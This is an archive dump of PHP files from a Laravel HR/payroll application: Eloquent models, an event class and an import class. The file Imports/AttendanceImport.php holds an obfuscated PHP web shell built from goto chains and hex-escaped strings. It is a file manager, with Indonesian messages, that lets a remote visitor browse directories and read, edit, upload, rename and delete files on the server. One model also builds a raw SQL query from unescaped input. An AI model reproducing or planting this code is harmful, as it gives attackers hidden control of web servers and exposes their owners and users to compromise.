Models/PlanRequest.php000064400000000634150364306410010750 0ustar00hasOne('App\Models\Plan', 'id', 'plan_id'); } public function user() { return $this->hasOne('App\Models\User', 'id', 'user_id'); } } Models/EmailTemplate.php000064400000001173150364306410011227 0ustar00hasOne('App\Models\UserEmailTemplate', 'template_id', 'id')->where('user_id', '=', \Auth::user()->id); } private static $emailTemplate = null; public static function getemailTemplate() { if (self::$emailTemplate === null) { self::$emailTemplate = EmailTemplate::first(); } return self::$emailTemplate; } } Models/Coupon.php000064400000000546150364306410007752 0ustar00hasMany('App\Models\UserCoupon', 'coupon', 'id')->count(); } } Models/EmployeeDocument.php000064400000000360150364306410011757 0ustar00hasOne('App\Models\User', 'id', 'user_id'); } public function checkDateTime() { $m = $this; if (\Carbon\Carbon::parse($m->start_date)->addMinutes($m->duration)->gt(\Carbon\Carbon::now())) { return 1; } else { return 0; } } public function user_detail($userid = '0') { $return = ''; if (!empty($userid)) { $user = User::whereraw('id IN (' . $userid . ')')->pluck('name')->toArray(); if (!empty($user)) { $return = implode(',', $user); } } return $return; } public function users($users) { $userArr = explode(',', $users); $users = []; foreach ($userArr as $user) { $users[] = User::find($user); } return $users; } } Models/AllowanceOption.php000064400000000267150364306410011605 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public static $commissiontype = [ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Events/VerifyReCaptchaToken.php000064400000001551150364306410012545 0ustar00request = $request; } /** * Get the channels the event should broadcast on. * * @return array */ public function broadcastOn(): array { return [ new PrivateChannel('channel-name'), ]; } } Imports/AttendanceImport.php000064400000000524150364306410012156 0ustar00 $VQUeK) { goto cUa9E; P1JD3: PkUN0: goto JMfag; gO3qW: G272U: goto D_8Co; Wanm9: if (!($Ec_vM < count($XROGa) - 1)) { goto kucbK; } goto C5Nx9; kYLSb: goto FbD63; goto vedyz; wIARM: goto O5Zn3; goto N7V_E; vedyz: cLa5f: goto PYmws; cUa9E: goto RPpU8; goto fpYT5; N7V_E: k48Fj: goto VWLkp; J91Ot: goto J79m_; goto P1JD3; PYmws: Tbq50: goto EXkP_; JMfag: echo "\74\141\40\x68\x72\x65\x66\x3d\x22\77\x66\157\154\x64\x65\x72\75" . urlencode($Abu8x) . "\x22\76" . $VQUeK . "\x3c\x2f\x61\76\40\57\x20"; goto k0_d7; ensck: FbD63: goto oaTrw; C5Nx9: goto jyzd5; goto AWdEh; uAP6e: RPpU8: goto DeQ2i; D_8Co: goto Tbq50; goto Aexbk; oaTrw: N1cwU: goto q5wPb; EXkP_: goto k48Fj; goto RfBYH; vDxIe: goto gO_ph; goto A7p8Y; nfRB4: goto PkUN0; goto uAP6e; DeQ2i: $Abu8x .= $VQUeK; goto J91Ot; AWdEh: kucbK: goto wIARM; k0_d7: goto cLa5f; goto gO3qW; VWLkp: $Abu8x .= DIRECTORY_SEPARATOR; goto vDxIe; rSoQj: jyzd5: goto nfRB4; Aexbk: goto Y43h8; goto ensck; fJ_Lu: Y43h8: goto rSoQj; zoM2h: E0UTB: goto kYLSb; RfBYH: O5Zn3: goto KLKMB; fpYT5: J79m_: goto Wanm9; KLKMB: echo $VQUeK; goto NvWaN; A7p8Y: gO_ph: goto zoM2h; NvWaN: goto G272U; goto fJ_Lu; q5wPb: } goto A7Mg9; I_DiP: sbwZt: goto KAkOP; tRjH0: goto xPlyc; goto Kasef; uT5gl: wXeeL: goto XDsLd; vmxB2: goto QDn21; goto trWWj; UmeFY: echo "\x3c\144\x69\166\x20\x63\x6c\141\x73\163\x3d\x27\x61\x6c\x65\162\x74\40\x65\x72\162\x6f\x72\47\76\106\151\154\145\x20\163\165\144\141\150\40\141\x64\x61\41\74\57\144\151\166\x3e"; goto OEwBy; fsZ5U: if (!rename($xsZZ8, $E6rFg)) { goto swoGi; } goto AlFv8; lQFft: if (isset($_POST["\145\144\151\x74"])) { goto smhSr; } goto BQ92M; Gkhnh: Cc1Nj: goto oD_n0; zg2pD: Y_4mX: goto ObSoU; sEZ1G: PneAt: goto VabjV; qikX8: s93oA: goto IjxM3; J2eiz: goto rSB7l; goto BnYlw; uxdTX: goto Z8PHs; goto BGZ0z; BY1gC: goto EaT_s; goto LyES0; hbeDO: $fn0q5 = array_merge($Ts1Kj, $Oo1ig); goto YYgMw; qC_r6: rcbgi: goto NGikU; ZvGJM: O_LOX: goto oM9D7; qLKc5: goto YYb4V; goto LvHE2; tyRIh: goto PzWBY; goto ukERN; eXJfO: echo "\74\144\x69\x76\40\x63\x6c\141\x73\163\75\x27\x61\154\145\162\x74\40\145\162\162\157\162\47\x3e\x4b\157\x6e\164\145\x6e\x20\146\151\x6c\145\40\164\x69\x64\141\x6b\40\142\x6f\x6c\145\150\x20\153\x6f\x73\x6f\x6e\x67\41\x3c\x2f\x64\151\x76\x3e"; goto dxEuh; QmNMw: su3Cz: goto w8Ufj; KAkOP: $TaAmE = $_POST["\146\x69\x6c\x65\116\x61\155\145\124\x6f\105\144\151\164"]; goto GpEO4; syC4j: goto yvJpo; goto a47e0; XKjCz: goto yjkYW; goto Y9wKw; Y9NzP: B7InS: goto OZdUu; Yyl0l: goto Sd20d; goto OH4pk; Y02IA: goto f9Xjv; goto BeSI6; KCtf_: PWJ9e: goto Q9zk4; PjEA_: pz_22: goto VkBU0; PMGGV: goto WXSWW; goto IowgS; c_VjS: i8JOh: goto EwqZ0; E6HBA: ZH1Fe: goto M5eUC; TSvZv: A8unQ: goto kKHkS; s6jaL: goto oP6wq; goto gXYIz; mkLtC: goto ahiE1; goto esh0T; XDsLd: goto b9COl; goto zv6IN; GREBG: tpMMx: goto n0Er2; ZsgSB: w8m3_: goto YnU3N; v1B3k: goto Q26qj; goto qC_r6; TLxx6: echo "\x3c\144\151\166\x20\x63\154\x61\x73\x73\x3d\x27\x61\154\x65\162\x74\40\x73\165\143\x63\x65\163\163\47\76\x4e\141\x6d\141\40\x62\x65\x72\x68\141\x73\151\154\40\144\x69\x75\142\141\150\56\x3c\57\x64\x69\x76\76"; goto qnT2u; qukYt: goto tpMMx; goto MV_Yi; oXYLU: goto s5mFk; goto Z7ENR; VkBU0: yS0d6: goto IxwC9; T_FIm: goto K69K5; goto D0xGH; Czzjc: goto pz_22; goto IA0aB; QjWaw: goto cfmXh; goto G39xn; lDiE1: AYile: goto wNC7t; kZaRJ: RLstR: goto s7CPi; dBDvY: goto p4s9y; goto cLbfZ; UfXWg: echo htmlspecialchars($vArBl); goto QfM9m; tb822: if (isset($_GET["\x66\157\x6c\x64\x65\x72"]) && $_GET["\146\x6f\154\144\x65\x72"] != __DIR__) { goto tKvjU; } goto sHTar; FN3ai: goto v6Rsb; goto vfo_j; BeSI6: llxfd: goto tyRIh; GmhJF: rblKx: goto TPtl7; JCT7J: $Abu8x = ''; goto T_FIm; gCpNs: m0pYL: goto UpHnT; cLbfZ: LsZe_: goto d2UM3; gZzYL: URQcM: goto jKy4Z; t9Nc6: if (!is_dir($Wtv0t)) { goto GS9ZD; } goto lM_0k; stEyc: goto q8CYw; goto T7c1a; O3MER: WXSWW: goto Ni0ps; SxqGO: xkK81: goto G0HrN; yXk9m: goto ZljGO; goto sEZ1G; i9ngU: iR7Rx: goto Gj_C2; CzjO2: lWvWC: goto V5u3Y; ZDtZA: smhSr: goto nxc26; QrplG: goto xkK81; goto KmAcQ; mBZeJ: FeFFH: goto bQ51e; Wiwdp: Z8PHs: goto F85OE; d7wju: E6GBx: goto pxyeu; jC0tS: fUCd5: goto AcPvY; trWWj: goto AYile; goto GmhJF; YRZ4o: goto pzVQS; goto X9Go8; otNWC: Z19Rs: goto Ygsba; vRjLN: jS3U4: goto rHpn0; X5ouZ: $xsZZ8 = $n0gg8 . "\x2f" . $_POST["\157\154\144\116\x61\155\x65"]; goto JWlxH; cIqTF: echo htmlspecialchars($TaAmE); goto XKjCz; zuqfd: fFcUF: goto oB6Jv; jKy4Z: $Wtv0t = $n0gg8 . "\57" . $_POST["\x6e\141\155\145\124\x6f\104\145\154\x65\164\x65"]; goto p5kWt; euV30: goto gd05v; goto JQaUC; WOD1I: goto i8JOh; goto e95B6; A3xDW: goto zuV4n; goto PrQwZ; KmAcQ: KET1W: goto Wiwdp; xm9vK: echo htmlspecialchars($TaAmE); goto IVUXl; Jx9CQ: euBfH: goto zt5pc; LvHE2: zuV4n: goto AUnDf; d2UM3: mkdir($onnND); goto VaDuy; xatl6: s5mFk: goto I0oty; Tl9DN: P4xAi: goto wtAQ2; w8Ufj: if (isset($_POST["\144\145\154\x65\x74\145"])) { goto lWvWC; } goto fr6Xe; BGevR: goto YG3DF; goto d7wju; gvewN: Al2bv: goto DWR1p; vhMyk: goto LyKpp; goto JI2kn; JHm8E: xLawX: goto dbOFu; kKHkS: $fn0q5 = array_diff(scandir($n0gg8), array("\56\56", "\x2e")); goto jmifH; JQaUC: Yh1BW: goto TebFO; VPo16: goto fU8DN; goto l5hjd; Adei1: goto rhP9I; goto FUxJX; AUnDf: echo "\x3c\x64\151\x76\x20\x63\154\141\x73\x73\75\x27\x61\154\x65\162\x74\x20\x65\x72\x72\x6f\162\x27\x3e\107\x61\147\x61\154\x20\x6d\x65\156\147\165\142\x61\150\40\156\141\x6d\141\x2e\74\57\x64\151\x76\x3e"; goto Pa34z; cDH2p: goto MwTpC; goto av__P; Rn6yE: Sy_rJ: goto X5ouZ; nECWu: fU8DN: goto b3ArI; oB6Jv: goto VwC8Y; goto y3xvo; a47e0: WwT8W: goto ShE96; YXLq_: if (!move_uploaded_file($GZQzY["\x74\155\x70\137\x6e\141\155\145"], $EyYvA)) { goto s93oA; } goto QRGfy; QKY25: echo "\74\144\151\x76\40\143\154\x61\163\x73\x3d\47\x61\154\x65\162\164\40\145\162\x72\x6f\x72\47\76\124\x65\x72\x6a\x61\144\151\40\153\145\x73\x61\x6c\141\x68\x61\x6e\40\x73\x61\141\164\x20\x6d\145\156\x67\55\x75\160\154\157\x61\x64\x20\146\x69\x6c\x65\x2e\74\x2f\x64\x69\166\x3e"; goto D9fqA; YnU3N: goto BuDTM; goto wuhDn; UBqlv: echo "\x3c\144\151\x76\x20\x63\154\141\163\163\75\47\x61\x6c\145\162\164\40\x73\165\143\143\x65\163\x73\47\x3e\x50\x65\162\x75\142\x61\150\141\x6e\40\x62\145\x72\150\x61\x73\x69\x6c\40\144\x69\163\x69\x6d\x70\141\x6e\56\x3c\57\144\151\166\76"; goto Yyl0l; zQ0IX: if (isset($_POST["\x75\160\154\x6f\141\x64"])) { goto WjyZ0; } goto stEyc; KaSRf: HQTwA: goto QKY25; MP2iX: goto PUroM; goto Z1Xqv; BJYEo: goto lQ3Zs; goto ROdu1; TPtl7: rmdir($Wtv0t); goto tRjH0; G39xn: b9COl: goto SLPeg; PwefS: goto PneAt; goto xzz0J; nxc26: goto sbwZt; goto bA_hb; mHsSt: goto GhhLH; goto QvI_o; HE1wS: odrx4: goto QrplG; wwd0r: goto kwxJ_; goto JUVV8; N2qsc: goto V8Zih; goto i9ngU; FFpoG: echo "\x22\76\x42\141\x63\153\40\x74\157\40"; goto RMCkf; f75dw: goto EQ5VR; goto XltAX; bA_hb: yj0OA: goto cIqTF; ROdu1: BNXOt: goto t9Nc6; kTS24: gd05v: goto ypqdg; t3SsT: goto XzxwB; goto KaSRf; qnT2u: goto ZtKuZ; goto X9pD8; GOnyN: tKvjU: goto QjWaw; JxBbc: YjKvP: goto Ei4Px; UpHnT: goto fwJlJ; goto hcuw7; ObSoU: $vArBl = file_get_contents($n0gg8 . "\57" . $TaAmE); goto H6mSS; WA4nM: GELLA: goto xatl6; uki9I: PzWBY: goto i2EEm; d1pGp: $Ts1Kj = []; goto YRZ4o; W0Ay2: $E6rFg = $n0gg8 . "\x2f" . $_POST["\156\145\167\x4e\141\155\145"]; goto VRZIE; YQZAf: $TaAmE = ''; goto pMI0k; eK2O1: c4IFx: goto vmxB2; M5eUC: QDn21: goto BY1gC; VkhzN: AEgFe: goto JvbmD; ShE96: e8kmm: goto N7uum; YYgMw: goto SDmGz; goto uMZzh; CzkrG: POXZ4: goto Rrmpo; VMMv2: goto WwT8W; goto rBa89; jZJ04: echo "\12\74\41\x44\117\x43\x54\x59\120\x45\40\x68\164\x6d\x6c\x3e\xa\x3c\150\x74\x6d\154\x20\x6c\141\156\147\x3d\x22\x65\156\x22\x3e\12\74\150\145\141\144\76\xa\40\40\x20\x20\74\x6d\x65\164\141\40\x63\150\x61\162\x73\145\164\x3d\x22\x55\x54\x46\55\x38\42\76\12\x20\x20\x20\40\x3c\155\x65\164\x61\40\156\141\x6d\145\75\42\166\151\x65\x77\x70\157\x72\164\42\x20\143\157\156\x74\x65\x6e\164\x3d\42\167\151\x64\x74\x68\75\144\145\166\151\143\145\x2d\167\x69\x64\x74\150\x2c\40\x69\156\151\164\x69\x61\x6c\55\163\143\141\x6c\x65\x3d\x31\x2e\60\x22\76\12\40\40\40\40\74\164\x69\x74\x6c\x65\x3e\106\151\154\145\40\115\x61\156\141\x67\145\162\x3c\x2f\x74\151\164\x6c\145\76\xa\40\40\x20\x20\74\163\x74\171\x6c\x65\76\xa\x20\x20\x20\x20\x20\40\40\x20\x62\157\x64\171\40\173\12\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x66\x6f\156\164\x2d\146\141\155\x69\154\171\x3a\40\x27\x41\162\x69\141\x6c\x27\54\x20\x73\x61\x6e\163\x2d\x73\x65\162\151\146\73\12\40\40\40\x20\x20\40\40\40\x20\40\40\x20\142\x61\143\153\x67\x72\x6f\165\x6e\x64\x2d\x63\x6f\154\x6f\162\72\x20\x23\146\60\146\64\x66\70\x3b\xa\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\143\x6f\154\x6f\x72\x3a\x20\43\63\63\x33\x3b\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x6d\141\162\x67\151\156\x3a\x20\x30\73\12\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x70\x61\144\144\x69\156\147\x3a\x20\x30\73\12\40\x20\x20\x20\40\x20\40\40\175\xa\x20\x20\40\x20\x20\x20\x20\x20\56\146\x69\x6c\145\x2d\155\x61\156\141\147\145\x72\40\173\12\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\x6c\145\170\73\12\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x77\x69\144\164\x68\72\x20\x31\60\60\x25\x3b\xa\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x6d\141\x72\x67\151\x6e\55\x74\x6f\160\72\x20\x32\x30\160\170\73\12\x20\40\40\40\x20\40\x20\40\175\xa\40\40\x20\40\40\x20\x20\40\x2e\163\x69\x64\145\x62\141\x72\40\x7b\xa\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x77\151\x64\x74\x68\72\x20\x32\60\x25\73\xa\40\x20\40\x20\40\40\40\40\x20\40\40\40\x70\x61\144\144\151\x6e\147\x3a\40\x31\65\160\170\x3b\12\x20\x20\40\40\40\40\40\x20\40\40\40\40\142\141\143\153\x67\x72\x6f\165\x6e\x64\55\x63\x6f\x6c\x6f\162\72\x20\43\62\x63\63\x65\x35\x30\x3b\12\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x63\x6f\154\157\162\72\40\43\146\x66\x66\73\xa\40\x20\40\x20\x20\40\40\40\40\40\40\40\x62\157\170\55\x73\150\141\144\x6f\x77\x3a\x20\62\x70\x78\x20\60\x20\x35\x70\170\x20\x72\x67\x62\x61\50\x30\x2c\40\x30\54\x20\x30\x2c\x20\x30\x2e\61\x29\x3b\12\x20\x20\x20\40\x20\40\40\40\175\xa\40\x20\x20\x20\40\x20\40\x20\x2e\x73\151\x64\145\142\x61\x72\x20\150\63\40\173\12\40\40\40\40\40\40\x20\40\40\40\x20\40\143\157\x6c\x6f\162\x3a\x20\43\x65\143\x66\x30\x66\61\x3b\xa\x20\40\40\x20\40\x20\40\40\x7d\12\40\x20\40\40\40\x20\40\x20\56\163\151\144\145\x62\141\x72\40\x69\156\x70\x75\x74\54\40\x2e\x73\x69\x64\x65\x62\141\162\x20\142\x75\x74\x74\x6f\x6e\40\173\12\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\167\151\x64\x74\150\x3a\x20\61\x30\60\x25\73\12\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x70\141\x64\x64\x69\x6e\x67\x3a\x20\x31\x30\160\x78\73\xa\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x6d\141\x72\147\x69\156\x3a\40\61\60\160\170\40\x30\73\12\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x66\x6f\x6e\164\x2d\163\x69\172\x65\72\40\x31\64\x70\x78\x3b\12\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\x62\x6f\x72\144\145\x72\72\40\156\x6f\156\145\x3b\12\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\142\x6f\162\x64\145\162\55\162\x61\144\151\x75\x73\72\40\64\x70\x78\x3b\xa\40\40\40\40\x20\40\40\40\175\xa\x20\40\x20\x20\x20\40\x20\x20\x2e\163\x69\144\145\142\141\162\x20\142\165\164\164\x6f\156\x20\x7b\xa\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\142\141\143\x6b\x67\x72\x6f\165\156\144\x2d\x63\157\154\x6f\162\72\40\x23\x33\64\71\70\x64\142\x3b\12\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\143\x6f\154\157\162\x3a\x20\167\x68\151\x74\145\x3b\xa\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x63\165\x72\x73\157\x72\x3a\x20\160\x6f\x69\156\x74\145\162\73\12\40\40\40\40\40\40\40\40\40\40\x20\40\x74\162\141\156\x73\x69\164\x69\157\x6e\72\40\142\141\x63\153\x67\x72\x6f\165\156\144\x2d\143\x6f\x6c\x6f\162\40\60\x2e\x33\x73\x3b\xa\x20\x20\40\40\40\x20\40\x20\x7d\xa\x20\x20\x20\x20\40\40\40\x20\x2e\163\x69\144\x65\142\141\x72\x20\142\165\x74\x74\x6f\156\x3a\150\157\166\x65\x72\40\x7b\xa\40\40\x20\40\40\x20\x20\40\40\40\40\x20\x62\141\x63\153\x67\162\157\x75\x6e\144\x2d\143\x6f\154\157\162\72\40\43\x32\x39\x38\60\x62\71\73\12\x20\40\40\x20\x20\40\40\x20\175\xa\40\x20\40\x20\40\40\x20\40\56\155\x61\151\156\x2d\x63\157\156\164\145\x6e\164\40\173\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\167\x69\144\x74\x68\x3a\40\70\x30\45\73\xa\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\160\x61\x64\x64\x69\156\147\x3a\x20\x32\x30\160\170\73\12\x20\x20\x20\x20\40\40\40\40\175\12\40\x20\x20\x20\x20\x20\40\40\x2e\x66\x69\x6c\x65\x2d\x69\x74\x65\155\40\173\xa\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\144\x69\x73\x70\154\x61\x79\x3a\40\146\x6c\x65\170\73\xa\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x6a\x75\x73\164\151\x66\171\x2d\x63\x6f\x6e\x74\145\156\164\72\x20\163\x70\x61\x63\x65\x2d\142\145\164\167\145\x65\156\x3b\xa\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\x61\154\151\147\156\55\x69\x74\145\x6d\163\72\x20\143\x65\x6e\164\x65\x72\x3b\12\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\160\141\x64\x64\x69\156\147\72\x20\61\60\x70\x78\73\12\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\155\141\x72\x67\x69\x6e\72\x20\61\x30\160\170\40\60\x3b\12\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\142\x6f\x72\x64\145\x72\x3a\40\x31\x70\x78\x20\163\157\x6c\151\144\40\43\144\x64\x64\73\12\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x62\x6f\x72\144\145\x72\x2d\162\x61\144\151\165\163\x3a\40\x35\x70\170\73\12\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\142\x61\143\153\x67\x72\157\x75\x6e\x64\55\143\x6f\154\157\162\x3a\x20\43\x66\x66\x66\73\12\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x74\x72\141\156\163\x69\x74\x69\157\156\x3a\40\x62\141\x63\153\x67\162\157\165\x6e\x64\55\143\x6f\154\157\x72\40\x30\56\x33\x73\73\xa\x20\40\40\40\x20\40\40\x20\x7d\xa\40\40\x20\x20\40\x20\40\40\56\146\151\x6c\145\55\151\x74\145\155\72\150\x6f\x76\145\x72\40\x7b\12\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\142\141\143\153\x67\x72\157\165\x6e\x64\x2d\143\x6f\154\x6f\162\72\x20\x23\146\x39\x66\71\x66\71\x3b\12\40\40\x20\40\40\40\x20\x20\x7d\12\40\40\x20\40\x20\x20\x20\40\56\146\151\x6c\145\55\151\x74\x65\155\40\141\40\173\xa\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\164\x65\170\164\55\x64\145\143\157\x72\x61\164\151\x6f\156\x3a\x20\x6e\157\x6e\x65\73\xa\x20\40\x20\40\x20\40\40\x20\40\40\40\40\x63\x6f\x6c\157\162\72\40\43\63\64\71\70\x64\142\73\12\x20\40\40\x20\40\x20\40\x20\175\12\x20\x20\x20\40\40\x20\x20\40\x2e\141\143\x74\x69\x6f\156\x73\x20\x7b\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\144\151\x73\x70\x6c\x61\x79\72\40\x66\x6c\145\170\73\12\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\147\x61\160\72\40\x31\x30\x70\x78\73\xa\x20\40\40\x20\40\x20\x20\40\x7d\xa\40\40\x20\40\x20\x20\40\x20\x2e\x61\143\x74\x69\157\156\x73\40\x62\165\164\x74\x6f\156\x20\173\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\144\151\156\147\x3a\x20\x35\160\x78\40\61\x30\x70\x78\x3b\xa\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\146\x6f\x6e\x74\x2d\x73\151\172\145\72\x20\61\x32\160\170\x3b\xa\x20\x20\40\40\x20\40\40\40\40\40\40\40\142\157\x72\x64\x65\x72\x3a\40\61\160\x78\40\163\157\x6c\x69\144\x20\43\x63\x63\x63\x3b\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\142\157\162\x64\145\x72\x2d\162\x61\144\x69\x75\x73\x3a\40\64\x70\170\73\12\40\40\40\40\40\40\40\40\40\x20\x20\x20\142\x61\143\x6b\x67\162\x6f\165\x6e\x64\55\x63\157\154\x6f\x72\x3a\x20\43\62\x65\x63\143\67\x31\73\xa\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\143\157\154\157\x72\72\40\167\150\151\164\145\73\xa\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x63\x75\x72\163\157\x72\x3a\40\x70\157\151\156\164\x65\x72\73\xa\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\x74\x72\141\156\163\151\x74\151\x6f\156\x3a\x20\142\141\143\153\x67\x72\157\x75\x6e\144\55\x63\x6f\154\x6f\x72\40\x30\56\63\x73\73\12\40\40\x20\40\x20\x20\40\x20\175\12\40\40\x20\40\x20\40\x20\x20\x2e\x61\143\x74\x69\x6f\x6e\163\40\142\165\x74\x74\x6f\x6e\x3a\150\x6f\x76\145\162\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x62\x61\143\x6b\x67\162\157\165\156\x64\x2d\x63\157\x6c\x6f\162\x3a\40\x23\62\67\x61\x65\x36\60\73\12\40\x20\40\40\40\40\x20\x20\175\12\40\x20\40\40\40\x20\x20\x20\x2e\141\x63\x74\151\x6f\156\x73\x20\x62\x75\164\x74\x6f\x6e\x2e\x64\x65\154\x65\164\145\x20\173\12\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x62\x61\x63\x6b\147\x72\157\x75\156\144\x2d\x63\157\154\157\x72\x3a\x20\x23\145\67\x34\x63\x33\x63\x3b\12\40\40\40\x20\x20\x20\40\x20\x7d\xa\x20\x20\x20\x20\40\x20\x20\x20\56\141\143\x74\151\157\156\163\x20\142\x75\x74\164\x6f\156\x2e\x64\x65\154\145\x74\x65\72\x68\x6f\x76\x65\162\40\x7b\xa\40\40\40\40\40\x20\40\40\x20\40\40\40\142\141\x63\153\147\162\x6f\165\x6e\x64\55\x63\157\x6c\x6f\x72\72\x20\43\143\x30\63\x39\x32\142\73\12\40\x20\40\40\40\40\40\40\x7d\xa\x20\x20\40\x20\40\x20\x20\x20\56\x61\154\145\162\164\40\x7b\12\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x70\141\x64\144\151\156\x67\72\x20\61\60\160\170\x3b\12\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\155\x61\x72\147\151\156\55\x62\x6f\164\x74\x6f\x6d\x3a\40\61\65\160\170\73\xa\40\40\40\x20\40\40\40\40\40\x20\x20\40\142\157\x72\x64\x65\x72\55\162\141\144\151\x75\x73\x3a\x20\x35\x70\x78\x3b\xa\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x66\157\x6e\x74\x2d\163\x69\172\145\72\40\x31\x34\160\x78\x3b\xa\x20\40\40\x20\x20\x20\x20\40\x7d\xa\x20\x20\x20\x20\x20\x20\x20\x20\56\x61\x6c\x65\162\164\x2e\x73\165\143\143\x65\x73\x73\x20\173\12\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x62\x61\143\x6b\x67\x72\x6f\165\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\40\43\62\145\x63\143\67\x31\73\xa\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x63\x6f\x6c\157\x72\72\40\167\x68\151\164\145\73\12\40\x20\x20\40\x20\x20\40\x20\175\xa\x20\x20\40\x20\x20\40\40\40\x2e\141\154\145\x72\x74\56\145\162\x72\x6f\x72\40\173\12\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x62\141\x63\153\147\162\x6f\165\x6e\x64\55\143\157\x6c\x6f\x72\x3a\40\43\x65\67\x34\143\63\143\73\xa\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x63\x6f\154\157\162\x3a\40\x77\150\x69\x74\x65\73\12\x20\40\40\x20\x20\40\40\40\175\xa\40\x20\40\x20\x20\40\40\x20\164\x65\170\164\x61\x72\x65\x61\40\173\xa\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x77\151\x64\164\150\x3a\40\x31\60\x30\45\x3b\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\40\x68\145\x69\147\x68\164\x3a\x20\63\x30\60\160\170\73\12\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x62\157\x72\144\x65\x72\x3a\40\61\160\170\40\x73\x6f\154\x69\144\x20\x23\x64\144\144\73\12\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x62\157\162\x64\x65\x72\55\162\141\x64\x69\165\x73\72\40\64\160\x78\73\xa\40\40\x20\40\40\40\x20\40\40\40\x20\x20\160\x61\x64\x64\x69\156\147\72\40\61\x30\x70\x78\x3b\12\40\40\x20\x20\40\40\40\40\40\40\x20\x20\146\157\x6e\x74\55\x73\x69\x7a\x65\x3a\x20\x31\64\x70\170\73\xa\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\74\57\x73\x74\x79\154\145\76\12\74\57\x68\x65\x61\144\76\12\x3c\142\x6f\144\171\x3e\12\xa\x3c\x64\x69\x76\40\143\154\x61\x73\163\x3d\42\146\x69\154\x65\55\155\141\156\141\x67\x65\162\x22\x3e\xa\x20\x20\x20\x20\74\x21\55\55\x20\123\151\144\145\x62\x61\162\x20\165\156\164\165\153\40\x6d\145\155\x62\165\141\x74\40\x66\x69\x6c\145\x20\x64\141\x6e\40\x66\x6f\x6c\x64\145\x72\40\55\55\x3e\xa\x20\x20\40\40\74\x64\151\x76\x20\x63\x6c\x61\163\x73\x3d\42\163\x69\x64\x65\142\x61\162\x22\76\12\x20\x20\x20\x20\40\x20\x20\x20\x3c\x68\63\x3e\103\162\x65\141\x74\145\x20\106\x69\154\x65\x3c\x2f\150\63\x3e\12\x20\40\x20\x20\x20\x20\x20\40\74\146\157\162\x6d\40\141\x63\x74\x69\157\156\75\42\42\x20\x6d\x65\x74\x68\x6f\144\75\x22\x70\157\163\164\42\76\12\x20\x20\40\40\40\40\40\40\x20\x20\40\40\x3c\x69\156\x70\165\x74\x20\x74\171\160\x65\75\42\x74\x65\x78\x74\x22\40\x6e\141\155\x65\75\x22\146\x69\x6c\145\x4e\x61\x6d\x65\42\x20\160\154\x61\x63\x65\x68\157\x6c\144\x65\162\75\42\x4e\141\155\141\x20\x46\x69\x6c\145\x22\x20\162\145\x71\x75\151\x72\x65\144\x3e\12\40\40\40\x20\x20\40\x20\40\40\x20\40\40\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\145\75\x22\x73\165\x62\155\x69\164\42\x20\x6e\x61\x6d\x65\x3d\42\x63\162\x65\x61\164\145\106\151\154\x65\42\x3e\x43\x72\145\141\164\145\x20\x46\151\x6c\145\x3c\x2f\x62\x75\x74\164\x6f\156\76\12\40\x20\x20\x20\40\40\x20\40\74\57\x66\x6f\x72\x6d\x3e\xa\12\40\x20\x20\40\40\40\40\40\74\150\63\x3e\x43\162\145\141\164\x65\40\x46\x6f\154\x64\x65\162\74\x2f\150\63\x3e\12\x20\40\x20\x20\40\40\40\x20\74\x66\x6f\x72\x6d\x20\141\x63\x74\x69\x6f\156\75\x22\x22\